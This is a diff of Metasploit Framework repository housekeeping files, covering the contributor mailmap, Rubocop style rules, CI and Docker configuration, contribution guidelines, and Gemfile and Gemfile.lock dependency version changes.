@@ -62,10 +42,12 @@ wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
# periodically. If you're on this list and would like to not be, just
# let todb@metasploit.com know.
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
bcoles <bcoles@github> bcoles <bcoles@gmail.com>
bcoles <bcoles@github> Brendan Coles <bcoles@gmail.com>
bokojan <bokojan@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> <bpatterson@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
brandonprry <brandonprry@github> <bperry@brandons-mbp.attlocal.net>
brandonprry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
brandonprry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
@@ -84,8 +66,13 @@ corelanc0d3r <corelanc0d3r@github> Peter Van Eeckhoutte (corelanc0d3r) <pete
crcatala <crcatala@github> Christian Catalan <ccatalan@rapid7.com>
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
DanielRTeixeira <DanielRTeixeira@github> Daniel Teixeira <danieljcrteixeira@gmail.com>
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
efraintorres <efraintorres@github> et <>
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
egypt <egypt@github> <james_lee@rapid7.com>
espreto <espreto@github> <robertoespreto@gmail.com>
fab <fab@???> fab <> # fab at revhosts.net (Fabrice MOURRON)
farias-r7 <farias-r7@github> <fernando_arias@rapid7.com>
@@ -111,6 +98,7 @@ jcran <jcran@github> <jcran@rapid7.com>
jduck <jduck@github> <github.jdrake@qoop.org>
jduck <jduck@github> <jdrake@qoop.org>
jgor <jgor@github> jgor <jgor@indiecom.org>
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
joevennix <joevennix@github> Joe Vennix <joevennix@gmail.com>
joevennix <joevennix@github> <Joe_Vennix@rapid7.com>
joevennix <joevennix@github> <joev@metasploit.com>
@@ -120,9 +108,15 @@ juanvazquez <juanvazquez@github> jvazquez-r7 <juan_vazquez@rapid7.com>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
kgray-r7 <kgray-r7@github> <kyle_gray@rapid7.com>
kost <kost@github> Vlatko Kosturjak <kost@linux.hr>
kris <kris@???> kris <>
KronicDeth <KronicDeth@github> Luke Imhoff <luke_imhoff@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> <lance@aus-mac-1041.aus.rapid7.com>
lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de>
m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com>
@@ -152,12 +146,16 @@ rwhitcroft <rwhitcroft@github> <rwhitcroft@users.noreply.github.com>
schierlm <schierlm@github> Michael Schierl <schierlm@gmx.de> # Aka mihi
scriptjunkie <scriptjunkie@github> Matt Weeks <scriptjunkie@scriptjunkie.us>
scriptjunkie <scriptjunkie@github> scriptjunkie <scriptjunkie@scriptjunkie.us>
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
skape <skape@???> Matt Miller <mmiller@hick.org>
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
stufus <stufus@github> Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
stufus <stufus@github> Stuart <stufus@users.noreply.github.com>
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
tatanus <tatanus@github> <adam_compton@rapid7.com>
techpeace <techpeace@github> Matt Buck <Matthew_Buck@rapid7.com>
techpeace <techpeace@github> Matt Buck <techpeace@gmail.com>
timwr <timwr@github> <timrlw@gmail.com>
@@ -165,6 +163,7 @@ TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net>
trevrosen <trevrosen@github> Trevor Rosen <trevor@catapult-creative.com>
trevrosen <trevrosen@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
void-in <void-in@github> void_in <root@localhost.localdomain>
void-in <void-in@github> void-in <root@localhost.localdomain>
void-in <void-in@github> <void-in@users.noreply.github.com>
+51 -9
View File
@@ -9,7 +9,7 @@
# inherit_from: .rubocop_todo.yml
AllCops:
TargetRubyVersion: 2.2
TargetRubyVersion: 2.4
Metrics/ClassLength:
Description: 'Most Metasploit modules are quite large. This is ok.'
@@ -45,6 +45,10 @@ Style/RedundantReturn:
Description: 'This often looks weird when mixed with actual returns, and hurts nothing'
Enabled: false
Naming/VariableNumber:
Description: 'To make it easier to use reference code, disable this cop'
Enabled: false
Style/NumericPredicate:
Description: 'This adds no efficiency nor space saving'
Enabled: false
@@ -55,14 +59,18 @@ Style/Documentation:
Exclude:
- 'modules/**/*'
Layout/IndentHeredoc:
Layout/SpaceInsideArrayLiteralBrackets:
Enabled: false
Description: 'We need to leave this disabled for Ruby 2.2 compat, remove in 2018'
Description: 'Almost all module metadata have space in brackets'
Style/GuardClause:
Enabled: false
Description: 'This often introduces bugs in tested code'
Style/EmptyLiteral:
Enabled: false
Description: 'This looks awkward when you mix empty and non-empty literals'
Style/NegatedIf:
Enabled: false
Description: 'This often introduces bugs in tested code'
@@ -72,9 +80,16 @@ Style/ConditionalAssignment:
Description: 'This is confusing for folks coming from other languages'
Style/Encoding:
Enabled: true
Description: 'We prefer binary to UTF-8.'
EnforcedStyle: 'when_needed'
Enabled: false
Style/ParenthesesAroundCondition:
Enabled: false
Description: 'This is used in too many places to discount, especially in ported code. Has little effect'
Style/TrailingCommaInArrayLiteral:
Enabled: false
Description: 'This is often a useful pattern, and is actually required by other languages. It does not hurt.'
Metrics/LineLength:
Description: >-
@@ -83,6 +98,13 @@ Metrics/LineLength:
Enabled: true
Max: 180
Metrics/BlockLength:
Enabled: true
Description: >-
While the style guide suggests 10 lines, exploit definitions
often exceed 200 lines.
Max: 300
Metrics/MethodLength:
Enabled: true
Description: >-
@@ -90,10 +112,10 @@ Metrics/MethodLength:
often exceed 200 lines.
Max: 300
# Basically everything in metasploit needs binary encoding, not UTF-8.
# Disable this here and enforce it through msftidy
Style/Encoding:
Enabled: false
Naming/UncommunicativeMethodParamName:
Enabled: true
Description: 'Whoever made this requirement never looked at crypto methods, IV'
MinNameLength: 2
# %q() is super useful for long strings split over multiple lines and
# is very common in module constructors for things like descriptions
@@ -104,11 +126,31 @@ Style/NumericLiterals:
Enabled: false
Description: 'This often hurts readability for exploit-ish code.'
Layout/AlignHash:
Enabled: false
Description: 'aligning info hashes to match these rules is almost impossible to get right'
Layout/EmptyLines:
Enabled: false
Description: 'these are used to increase readability'
Layout/EmptyLinesAroundClassBody:
Enabled: false
Description: 'these are used to increase readability'
Layout/EmptyLinesAroundMethodBody:
Enabled: false
Description: 'these are used to increase readability'
Layout/AlignParameters:
Enabled: true
EnforcedStyle: 'with_fixed_indentation'
Description: 'initialize method of every module has fixed indentation for Name, Description, etc'
Style/For:
Enabled: false
Description: 'if a module is written with a for loop, it cannot always be logically replaced with each'
Style/StringLiterals:
Enabled: false
Description: 'Single vs double quote fights are largely unproductive.'
+1 -1
View File
@@ -1 +1 @@
2.5.3
2.6.2
+2 -10
View File
@@ -11,23 +11,15 @@ addons:
- graphviz
language: ruby
rvm:
- '2.3.8'
- '2.4.5'
- '2.5.3'
- '2.5.5'
- '2.6.2'
env:
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"'
# Used for testing the remote data service
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1'
matrix:
fast_finish: true
exclude:
- rvm: '2.3.8'
env: CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1'
- rvm: '2.4.5'
env: CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" REMOTE_DB=1'
jobs:
# build docker image
+7 -4
View File
@@ -20,12 +20,15 @@ it into Metasploit's master branch. If you do not care to follow these rules, y
* **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
* **Do** follow the [50/72 rule] for Git commit messages.
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
* **Do** create a [topic branch] to work on instead of working directly on `master` to preserve the
history of your pull request. See [PR#8000] for an example of losing commit history as soon as
you update your own master branch.
* **Do** create a [topic branch] to work on instead of working directly on `master`.
This helps protect the process, ensures users are aware of commits on the branch being considered for merge,
allows for a location for more commits to be offered without mingling with other contributor changes,
and allows contributors to make progress while a PR is still being reviewed.
### Pull Requests
* **Do** write "WIP" on your PR and/or open a [draft PR] if submitting **working** yet unfinished code.
* **Do** target your pull request to the **master branch**.
* **Do** specify a descriptive title to make searching for your pull request easier.
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
@@ -84,7 +87,7 @@ curve, so keep it up!
[Rubocop]:https://rubygems.org/search?query=rubocop
[50/72 rule]:http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html
[topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches
[PR#8000]:https://github.com/rapid7/metasploit-framework/pull/8000
[draft PR]:https://help.github.com/en/articles/about-pull-requests#draft-pull-requests
[console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks
[verification steps]:https://help.github.com/articles/writing-on-github#task-lists
[reference associated issues]:https://github.com/blog/1506-closing-issues-via-pull-requests
-20
View File
@@ -1,20 +0,0 @@
Active Metasploit 5 development will sometimes push aggressive changes.
Integrations with 3rd-party tools, as well as general usage, may change quickly
from day to day. Some of the steps for dealing with major changes will be
documented here. We will continue to maintain the Metasploit 4.x branch until
Metasploit 5.0 is released.
**2018/01/17 - [internal] module cache reworked to not store metadata in PostgreSQL**
Metasploit no longer stores module metadata in a PostgreSQL database, instead
storing it in a cache file in your local ~/.msf4 config directory. This has a
number of advantages:
* Fast searches whether you have the database enabled or not (no more slow search mode)
* Faster load time for msfconsole, the cache loads more quickly
* Private module data is not uploaded to a shared database, no collisions
* Adding or deleting modules no longer displays file-not-found error messages on start in msfconsole
* Reduced memory consumption
Code that reads directly from the Metasploit database for module data will need
to use the new module search API.
+3 -4
View File
@@ -1,4 +1,4 @@
FROM ruby:2.5.3-alpine3.7 AS builder
FROM ruby:2.6.2-alpine3.9 AS builder
LABEL maintainer="Rapid7"
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
@@ -16,7 +16,7 @@ RUN apk add --no-cache \
bison \
build-base \
ruby-dev \
libressl-dev \
openssl-dev \
readline-dev \
sqlite-dev \
postgresql-dev \
@@ -29,7 +29,6 @@ RUN apk add --no-cache \
git \
&& echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
&& gem update --system \
&& gem install bundler \
&& bundle install --clean --no-cache --system $BUNDLER_ARGS \
# temp fix for https://github.com/bundler/bundler/issues/6680
&& rm -rf /usr/local/bundle/cache \
@@ -37,7 +36,7 @@ RUN apk add --no-cache \
&& chmod -R a+r /usr/local/bundle
FROM ruby:2.5.3-alpine3.7
FROM ruby:2.6.2-alpine3.9
LABEL maintainer="Rapid7"
ENV APP_HOME=/usr/src/metasploit-framework
+3 -2
View File
@@ -3,6 +3,8 @@ source 'https://rubygems.org'
# spec.add_runtime_dependency '<name>', [<version requirements>]
gemspec name: 'metasploit-framework'
gem 'sqlite3', '~>1.3.0'
# separate from test as simplecov is not run on travis-ci
group :coverage do
# code coverage for tests
@@ -25,7 +27,7 @@ end
group :development, :test do
# automatically include factories from spec/factories
gem 'factory_bot_rails'
gem 'factory_girl_rails'
# Make rspec output shorter and more useful
gem 'fivemat'
# running documentation generation tasks and rspec tasks
@@ -34,7 +36,6 @@ group :development, :test do
# environment is development
gem 'rspec-rails'
gem 'rspec-rerun'
gem 'swagger-blocks'
end
group :test do
+78 -109
View File
@@ -1,29 +1,28 @@
PATH
remote: .
specs:
metasploit-framework (5.0.0)
metasploit-framework (4.17.78)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
backports
bcrypt
bcrypt (= 3.1.12)
bcrypt_pbkdf
bit-struct
concurrent-ruby (= 1.0.5)
dnsruby
ed25519
em-http-request
faker
filesize
jsobfu
json
metasm
metasploit-concern
metasploit-credential
metasploit-credential (< 3.0.0)
metasploit-model
metasploit-payloads (= 1.3.58)
metasploit_data_models
metasploit_payloads-mettle (= 0.5.1)
metasploit-payloads (= 1.3.70)
metasploit_data_models (< 3.0.0)
metasploit_payloads-mettle (= 0.5.16)
mqtt
msgpack
nessus_rest
@@ -38,7 +37,7 @@ PATH
patch_finder
pcaprub
pdf-reader
pg (= 0.20.0)
pg (~> 0.20)
railties
rb-readline
recog
@@ -56,7 +55,7 @@ PATH
rex-random_identifier
rex-registry
rex-rop_builder
rex-socket
rex-socket (= 0.1.17)
rex-sslscan
rex-struct2
rex-text
@@ -65,13 +64,10 @@ PATH
ruby_smb
rubyntlm
rubyzip
sinatra
sqlite3
sshkey
thin
tzinfo
tzinfo-data
warden
windows_error
xdr
xmlrpc
@@ -80,95 +76,82 @@ GEM
remote: https://rubygems.org/
specs:
Ascii85 (1.0.3)
actionpack (4.2.11)
actionview (= 4.2.11)
activesupport (= 4.2.11)
actionpack (4.2.11.1)
actionview (= 4.2.11.1)
activesupport (= 4.2.11.1)
rack (~> 1.6)
rack-test (~> 0.6.2)
rails-dom-testing (~> 1.0, >= 1.0.5)
rails-html-sanitizer (~> 1.0, >= 1.0.2)
actionview (4.2.11)
activesupport (= 4.2.11)
actionview (4.2.11.1)
activesupport (= 4.2.11.1)
builder (~> 3.1)
erubis (~> 2.7.0)
rails-dom-testing (~> 1.0, >= 1.0.5)
rails-html-sanitizer (~> 1.0, >= 1.0.3)
activemodel (4.2.11)
activesupport (= 4.2.11)
activemodel (4.2.11.1)
activesupport (= 4.2.11.1)
builder (~> 3.1)
activerecord (4.2.11)
activemodel (= 4.2.11)
activesupport (= 4.2.11)
activerecord (4.2.11.1)
activemodel (= 4.2.11.1)
activesupport (= 4.2.11.1)
arel (~> 6.0)
activesupport (4.2.11)
activesupport (4.2.11.1)
i18n (~> 0.7)
minitest (~> 5.1)
thread_safe (~> 0.3, >= 0.3.4)
tzinfo (~> 1.1)
addressable (2.5.2)
addressable (2.6.0)
public_suffix (>= 2.0.2, < 4.0)
afm (0.2.2)
arel (6.0.4)
arel-helpers (2.8.0)
activerecord (>= 3.1.0, < 6)
backports (3.11.4)
arel-helpers (2.10.0)
activerecord (>= 3.1.0, < 7)
backports (3.15.0)
bcrypt (3.1.12)
bcrypt_pbkdf (1.0.0)
bcrypt_pbkdf (1.0.1)
bindata (2.4.4)
bit-struct (0.16)
builder (3.2.3)
coderay (1.1.2)
concurrent-ruby (1.0.5)
cookiejar (0.3.3)
crass (1.0.4)
daemons (1.3.1)
diff-lcs (1.3)
dnsruby (1.61.2)
dnsruby (1.61.3)
addressable (~> 2.5)
docile (1.3.1)
docile (1.3.2)
ed25519 (1.2.4)
em-http-request (1.1.5)
addressable (>= 2.3.4)
cookiejar (!= 0.3.1)
em-socksify (>= 0.3)
eventmachine (>= 1.0.3)
http_parser.rb (>= 0.6.0)
em-socksify (0.3.2)
eventmachine (>= 1.0.0.beta.4)
erubis (2.7.0)
eventmachine (1.2.7)
factory_bot (4.11.1)
factory_girl (4.9.0)
activesupport (>= 3.0.0)
factory_bot_rails (4.11.1)
factory_bot (~> 4.11.1)
factory_girl_rails (4.9.0)
factory_girl (~> 4.9.0)
railties (>= 3.0.0)
faker (1.9.1)
i18n (>= 0.7)
faker (2.2.0)
i18n (>= 0.8)
faraday (0.15.4)
multipart-post (>= 1.2, < 3)
filesize (0.2.0)
fivemat (1.3.7)
hashery (2.1.2)
http_parser.rb (0.6.0)
i18n (0.9.5)
concurrent-ruby (~> 1.0)
jsobfu (0.4.2)
rkelly-remix
json (2.1.0)
json (2.2.0)
loofah (2.2.3)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
metasm (1.0.3)
metasm (1.0.4)
metasploit-concern (2.0.5)
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-credential (3.0.2)
metasploit-credential (2.0.14)
metasploit-concern
metasploit-model
metasploit_data_models (>= 3.0.0)
net-ssh
pg (~> 0.15)
metasploit_data_models (< 3.0.0)
pg
railties
rex-socket
rubyntlm
@@ -177,45 +160,45 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.58)
metasploit_data_models (3.0.2)
metasploit-payloads (1.3.70)
metasploit_data_models (2.0.17)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
arel-helpers
metasploit-concern
metasploit-model
pg (= 0.20.0)
pg
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.5.1)
metasploit_payloads-mettle (0.5.16)
method_source (0.9.2)
mini_portile2 (2.4.0)
minitest (5.11.3)
mqtt (0.5.0)
msgpack (1.2.4)
multipart-post (2.0.0)
msgpack (1.3.1)
multipart-post (2.1.1)
nessus_rest (0.1.6)
net-ssh (5.1.0)
net-ssh (5.2.0)
network_interface (0.0.2)
nexpose (7.2.1)
nokogiri (1.10.0)
nokogiri (1.10.4)
mini_portile2 (~> 2.4.0)
octokit (4.13.0)
octokit (4.14.0)
sawyer (~> 0.8.0, >= 0.5.3)
openssl-ccm (1.2.1)
openssl-ccm (1.2.2)
openvas-omp (0.0.4)
packetfu (1.1.13)
pcaprub
patch_finder (1.0.2)
pcaprub (0.13.0)
pdf-reader (2.2.0)
pdf-reader (2.2.1)
Ascii85 (~> 1.0.0)
afm (~> 0.2.1)
hashery (~> 2.0)
ruby-rc4
ttfunk
pg (0.20.0)
pg (0.21.0)
pg_array_parser (0.0.9)
postgres_ext (3.0.1)
activerecord (~> 4.0)
@@ -224,10 +207,8 @@ GEM
pry (0.12.2)
coderay (~> 1.1.0)
method_source (~> 0.9.0)
public_suffix (3.0.3)
public_suffix (3.1.1)
rack (1.6.11)
rack-protection (1.5.5)
rack
rack-test (0.6.3)
rack (>= 1.0)
rails-deprecated_sanitizer (1.0.3)
@@ -236,18 +217,18 @@ GEM
activesupport (>= 4.2.0, < 5.0)
nokogiri (~> 1.6)
rails-deprecated_sanitizer (>= 1.0.1)
rails-html-sanitizer (1.0.4)
rails-html-sanitizer (1.2.0)
loofah (~> 2.2, >= 2.2.2)
railties (4.2.11)
actionpack (= 4.2.11)
activesupport (= 4.2.11)
railties (4.2.11.1)
actionpack (= 4.2.11.1)
activesupport (= 4.2.11.1)
rake (>= 0.8.7)
thor (>= 0.18.1, < 2.0)
rake (12.3.2)
rake (12.3.3)
rb-readline (0.5.5)
recog (2.1.42)
recog (2.3.2)
nokogiri
redcarpet (3.4.0)
redcarpet (3.5.0)
rex-arch (0.1.13)
rex-text
rex-bin_tools (0.1.6)
@@ -261,7 +242,7 @@ GEM
metasm
rex-arch
rex-text
rex-exploitation (0.1.20)
rex-exploitation (0.1.21)
jsobfu
metasm
rex-arch
@@ -274,7 +255,7 @@ GEM
rex-arch
rex-ole (0.1.6)
rex-text
rex-powershell (0.1.79)
rex-powershell (0.1.82)
rex-random_identifier
rex-text
rex-random_identifier (0.1.4)
@@ -284,14 +265,14 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.15)
rex-socket (0.1.17)
rex-core
rex-sslscan (0.1.5)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.2)
rex-text (0.2.21)
rex-text (0.2.23)
rex-zip (0.1.3)
rex-text
rkelly-remix (0.0.7)
@@ -299,15 +280,15 @@ GEM
rspec-core (~> 3.8.0)
rspec-expectations (~> 3.8.0)
rspec-mocks (~> 3.8.0)
rspec-core (3.8.0)
rspec-core (3.8.2)
rspec-support (~> 3.8.0)
rspec-expectations (3.8.2)
rspec-expectations (3.8.4)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.8.0)
rspec-mocks (3.8.0)
rspec-mocks (3.8.1)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.8.0)
rspec-rails (3.8.1)
rspec-rails (3.8.2)
actionpack (>= 3.0)
activesupport (>= 3.0)
railties (>= 3.0)
@@ -317,57 +298,45 @@ GEM
rspec-support (~> 3.8.0)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.8.0)
ruby-macho (2.1.0)
rspec-support (3.8.2)
ruby-macho (2.2.0)
ruby-rc4 (0.1.5)
ruby_smb (1.0.5)
ruby_smb (1.1.0)
bindata
rubyntlm
windows_error
rubyntlm (0.6.2)
rubyzip (1.2.2)
sawyer (0.8.1)
addressable (>= 2.3.5, < 2.6)
faraday (~> 0.8, < 1.0)
simplecov (0.16.1)
rubyzip (1.2.3)
sawyer (0.8.2)
addressable (>= 2.3.5)
faraday (> 0.8, < 2.0)
simplecov (0.17.0)
docile (~> 1.1)
json (>= 1.8, < 3)
simplecov-html (~> 0.10.0)
simplecov-html (0.10.2)
sinatra (1.4.8)
rack (~> 1.5)
rack-protection (~> 1.4)
tilt (>= 1.3, < 3)
sqlite3 (1.3.13)
sshkey (1.9.0)
swagger-blocks (2.0.2)
thin (1.7.2)
daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4)
rack (>= 1, < 3)
sshkey (2.0.0)
thor (0.20.3)
thread_safe (0.3.6)
tilt (2.0.9)
timecop (0.9.1)
ttfunk (1.5.1)
tzinfo (1.2.5)
thread_safe (~> 0.1)
tzinfo-data (1.2018.9)
tzinfo-data (1.2019.2)
tzinfo (>= 1.0.0)
warden (1.2.7)
rack (>= 1.0)
windows_error (0.1.2)
xdr (2.0.0)
activemodel (>= 4.2.7)
activesupport (>= 4.2.7)
xmlrpc (0.3.0)
yard (0.9.16)
yard (0.9.20)
PLATFORMS
ruby
DEPENDENCIES
factory_bot_rails
factory_girl_rails
fivemat
metasploit-framework!
octokit
@@ -377,9 +346,9 @@ DEPENDENCIES
rspec-rails
rspec-rerun
simplecov
swagger-blocks
sqlite3 (~> 1.3.0)
timecop
yard
BUNDLED WITH
1.17.1
1.17.3
-4
View File
@@ -111,10 +111,6 @@ Files: data/webcam/api.js
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
License: MIT
Files: lib/msf/core/web_services/public/*, lib/msf/core/web_services/views/api_docs.erb
Copyright: Copyright 2018 SmartBear Software
License: Apache 2.0
License: BSD-2-clause
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
+53 -65
View File
@@ -1,136 +1,124 @@
This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 1.0.3, MIT
actionpack, 4.2.11, MIT
actionview, 4.2.11, MIT
activemodel, 4.2.11, MIT
activerecord, 4.2.11, MIT
activesupport, 4.2.11, MIT
addressable, 2.5.2, "Apache 2.0"
actionpack, 4.2.11.1, MIT
actionview, 4.2.11.1, MIT
activemodel, 4.2.11.1, MIT
activerecord, 4.2.11.1, MIT
activesupport, 4.2.11.1, MIT
addressable, 2.6.0, "Apache 2.0"
afm, 0.2.2, MIT
arel, 6.0.4, MIT
arel-helpers, 2.8.0, MIT
backports, 3.11.4, MIT
arel-helpers, 2.10.0, MIT
backports, 3.15.0, MIT
bcrypt, 3.1.12, MIT
bcrypt_pbkdf, 1.0.0, MIT
bcrypt_pbkdf, 1.0.1, MIT
bindata, 2.4.4, ruby
bit-struct, 0.16, ruby
builder, 3.2.3, MIT
bundler, 1.12.5, MIT
bundler, 1.17.3, MIT
coderay, 1.1.2, MIT
concurrent-ruby, 1.0.5, MIT
cookiejar, 0.3.3, unknown
crass, 1.0.4, MIT
daemons, 1.3.1, MIT
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
dnsruby, 1.61.2, "Apache 2.0"
docile, 1.3.1, MIT
dnsruby, 1.61.3, "Apache 2.0"
docile, 1.3.2, MIT
ed25519, 1.2.4, MIT
em-http-request, 1.1.5, MIT
em-socksify, 0.3.2, MIT
erubis, 2.7.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 4.11.1, MIT
factory_bot_rails, 4.11.1, MIT
faker, 1.9.1, MIT
factory_girl, 4.9.0, MIT
factory_girl_rails, 4.9.0, MIT
faker, 2.2.0, MIT
faraday, 0.15.4, MIT
filesize, 0.2.0, MIT
fivemat, 1.3.7, MIT
hashery, 2.1.2, "Simplified BSD"
http_parser.rb, 0.6.0, MIT
i18n, 0.9.5, MIT
jsobfu, 0.4.2, "New BSD"
json, 2.1.0, ruby
json, 2.2.0, ruby
loofah, 2.2.3, MIT
metasm, 1.0.3, LGPL
metasm, 1.0.4, LGPL-2.1
metasploit-concern, 2.0.5, "New BSD"
metasploit-credential, 3.0.2, "New BSD"
metasploit-framework, 5.0.0, "New BSD"
metasploit-credential, 2.0.14, "New BSD"
metasploit-framework, 4.17.78, "New BSD"
metasploit-model, 2.0.4, "New BSD"
metasploit-payloads, 1.3.58, "3-clause (or ""modified"") BSD"
metasploit_data_models, 3.0.2, "New BSD"
metasploit_payloads-mettle, 0.5.1, "3-clause (or ""modified"") BSD"
metasploit-payloads, 1.3.70, "3-clause (or ""modified"") BSD"
metasploit_data_models, 2.0.17, "New BSD"
metasploit_payloads-mettle, 0.5.16, "3-clause (or ""modified"") BSD"
method_source, 0.9.2, MIT
mini_portile2, 2.4.0, MIT
minitest, 5.11.3, MIT
mqtt, 0.5.0, MIT
msgpack, 1.2.4, "Apache 2.0"
multipart-post, 2.0.0, MIT
msgpack, 1.3.1, "Apache 2.0"
multipart-post, 2.1.1, MIT
nessus_rest, 0.1.6, MIT
net-ssh, 5.1.0, MIT
net-ssh, 5.2.0, MIT
network_interface, 0.0.2, MIT
nexpose, 7.2.1, "New BSD"
nokogiri, 1.10.0, MIT
octokit, 4.13.0, MIT
openssl-ccm, 1.2.1, MIT
nokogiri, 1.10.4, MIT
octokit, 4.14.0, MIT
openssl-ccm, 1.2.2, MIT
openvas-omp, 0.0.4, MIT
packetfu, 1.1.13, BSD
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.0, LGPL-2.1
pdf-reader, 2.2.0, MIT
pg, 0.20.0, "New BSD"
pdf-reader, 2.2.1, MIT
pg, 0.21.0, "New BSD"
pg_array_parser, 0.0.9, unknown
postgres_ext, 3.0.1, MIT
pry, 0.12.2, MIT
public_suffix, 3.0.3, MIT
public_suffix, 3.1.1, MIT
rack, 1.6.11, MIT
rack-protection, 1.5.5, MIT
rack-test, 0.6.3, MIT
rails-deprecated_sanitizer, 1.0.3, MIT
rails-dom-testing, 1.0.9, MIT
rails-html-sanitizer, 1.0.4, MIT
railties, 4.2.11, MIT
rake, 12.3.2, MIT
rails-html-sanitizer, 1.2.0, MIT
railties, 4.2.11.1, MIT
rake, 12.3.3, MIT
rb-readline, 0.5.5, BSD
recog, 2.1.42, unknown
redcarpet, 3.4.0, MIT
recog, 2.3.2, unknown
redcarpet, 3.5.0, MIT
rex-arch, 0.1.13, "New BSD"
rex-bin_tools, 0.1.6, "New BSD"
rex-core, 0.1.13, "New BSD"
rex-encoder, 0.1.4, "New BSD"
rex-exploitation, 0.1.20, "New BSD"
rex-exploitation, 0.1.21, "New BSD"
rex-java, 0.1.5, "New BSD"
rex-mime, 0.1.5, "New BSD"
rex-nop, 0.1.1, "New BSD"
rex-ole, 0.1.6, "New BSD"
rex-powershell, 0.1.79, "New BSD"
rex-powershell, 0.1.82, "New BSD"
rex-random_identifier, 0.1.4, "New BSD"
rex-registry, 0.1.3, "New BSD"
rex-rop_builder, 0.1.3, "New BSD"
rex-socket, 0.1.15, "New BSD"
rex-socket, 0.1.17, "New BSD"
rex-sslscan, 0.1.5, "New BSD"
rex-struct2, 0.1.2, "New BSD"
rex-text, 0.2.21, "New BSD"
rex-text, 0.2.23, "New BSD"
rex-zip, 0.1.3, "New BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.8.0, MIT
rspec-core, 3.8.0, MIT
rspec-expectations, 3.8.2, MIT
rspec-mocks, 3.8.0, MIT
rspec-rails, 3.8.1, MIT
rspec-core, 3.8.2, MIT
rspec-expectations, 3.8.4, MIT
rspec-mocks, 3.8.1, MIT
rspec-rails, 3.8.2, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.8.0, MIT
ruby-macho, 2.1.0, MIT
rspec-support, 3.8.2, MIT
ruby-macho, 2.2.0, MIT
ruby-rc4, 0.1.5, MIT
ruby_smb, 1.0.5, "New BSD"
ruby_smb, 1.1.0, "New BSD"
rubyntlm, 0.6.2, MIT
rubyzip, 1.2.2, "Simplified BSD"
